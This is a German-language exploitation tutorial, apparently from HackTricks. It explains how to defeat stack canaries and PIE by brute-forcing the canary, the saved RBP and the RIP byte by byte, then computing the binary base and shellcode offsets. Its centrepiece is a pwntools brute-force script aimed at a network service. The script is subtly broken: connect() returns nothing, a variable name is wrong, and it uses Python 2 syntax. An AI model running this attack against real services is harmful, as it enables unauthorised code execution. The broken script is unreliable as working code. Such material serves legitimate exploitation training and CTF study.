# BF-Adressen im Stack {{#include ../../../banners/hacktricks-training.md}} **Wenn Sie es mit einer binären Datei zu tun haben, die durch einen Canary und PIE (Position Independent Executable) geschützt ist, müssen Sie wahrscheinlich einen Weg finden, diese zu umgehen.** ![](<../../../images/image (865).png>) > [!NOTE] > Beachten Sie, dass **`checksec`** möglicherweise nicht erkennt, dass eine binäre Datei durch einen Canary geschützt ist, wenn diese statisch kompiliert wurde und die Funktion nicht identifizieren kann.\ > Sie können dies jedoch manuell feststellen, wenn Sie feststellen, dass ein Wert zu Beginn eines Funktionsaufrufs im Stack gespeichert wird und dieser Wert vor dem Verlassen überprüft wird. ## Brute-Force-Adressen Um **PIE zu umgehen**, müssen Sie **eine Adresse leaken**. Und wenn die binäre Datei keine Adressen leakt, ist es am besten, **die im Stack gespeicherten RBP und RIP** in der verwundbaren Funktion zu brute-forcen.\ Wenn beispielsweise eine binäre Datei sowohl durch einen **Canary** als auch durch **PIE** geschützt ist, können Sie mit dem Brute-Forcen des Canaries beginnen, dann werden die **nächsten** 8 Bytes (x64) das gespeicherte **RBP** und die **nächsten** 8 Bytes das gespeicherte **RIP** sein. > [!TIP] > Es wird angenommen, dass die Rücksprungadresse im Stack zum Hauptbinärcode gehört, was normalerweise der Fall ist, wenn die Verwundbarkeit im Binärcode liegt. Um das RBP und das RIP aus der binären Datei zu brute-forcen, können Sie herausfinden, dass ein gültig geratenes Byte korrekt ist, wenn das Programm etwas ausgibt oder einfach nicht abstürzt. Die **gleiche Funktion**, die zum Brute-Forcen des Canaries bereitgestellt wird, kann verwendet werden, um das RBP und das RIP zu brute-forcen: ```python from pwn import * def connect(): r = remote("localhost", 8788) def get_bf(base): canary = "" guess = 0x0 base += canary while len(canary) < 8: while guess != 0xff: r = connect() r.recvuntil("Username: ") r.send(base + chr(guess)) if "SOME OUTPUT" in r.clean(): print "Guessed correct byte:", format(guess, '02x') canary += chr(guess) base += chr(guess) guess = 0x0 r.close() break else: guess += 1 r.close() print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) return base # CANARY BF HERE canary_offset = 1176 base = "A" * canary_offset print("Brute-Forcing canary") base_canary = get_bf(base) #Get yunk data + canary CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary # PIE BF FROM HERE print("Brute-Forcing RBP") base_canary_rbp = get_bf(base_canary) RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:]) print("Brute-Forcing RIP") base_canary_rbp_rip = get_bf(base_canary_rbp) RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:]) ``` Das letzte, was Sie benötigen, um das PIE zu besiegen, ist, **nützliche Adressen aus den geleakten** Adressen zu berechnen: das **RBP** und das **RIP**. Vom **RBP** aus können Sie berechnen, **wo Sie Ihre Shell im Stack schreiben**. Dies kann sehr nützlich sein, um zu wissen, wo Sie die Zeichenfolge _"/bin/sh\x00"_ im Stack schreiben werden. Um die Entfernung zwischen dem geleakten RBP und Ihrem Shellcode zu berechnen, können Sie einfach einen **Breakpoint setzen, nachdem Sie das RBP geleakt haben**, und überprüfen, **wo sich Ihr Shellcode befindet**. Dann können Sie die Entfernung zwischen dem Shellcode und dem RBP berechnen: ```python INI_SHELLCODE = RBP - 1152 ``` Von der **RIP** können Sie die **Basisadresse des PIE-Binaries** berechnen, die Sie benötigen, um eine **gültige ROP-Kette** zu erstellen.\ Um die Basisadresse zu berechnen, führen Sie einfach `objdump -d vunbinary` aus und überprüfen Sie die letzten disassemblierten Adressen: ![](<../../../images/image (479).png>) In diesem Beispiel sehen Sie, dass nur **1 Byte und eineinhalb benötigt werden**, um den gesamten Code zu lokalisieren. Die Basisadresse in dieser Situation wird die **geleakte RIP sein, die auf "000" endet**. Wenn Sie beispielsweise `0x562002970ecf` geleakt haben, beträgt die Basisadresse `0x562002970000`. ```python elf.address = RIP - (RIP & 0xfff) ``` ## Verbesserungen Laut [**einigen Beobachtungen aus diesem Beitrag**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking) ist es möglich, dass der Server beim Leaken von RBP- und RIP-Werten nicht abstürzt, wenn einige Werte nicht die richtigen sind, und das BF-Skript denkt, es hätte die richtigen Werte erhalten. Das liegt daran, dass **einige Adressen es einfach nicht brechen werden, selbst wenn sie nicht genau die richtigen sind**. Laut diesem Blogbeitrag wird empfohlen, eine kurze Verzögerung zwischen den Anfragen an den Server einzuführen. {{#include ../../../banners/hacktricks-training.md}}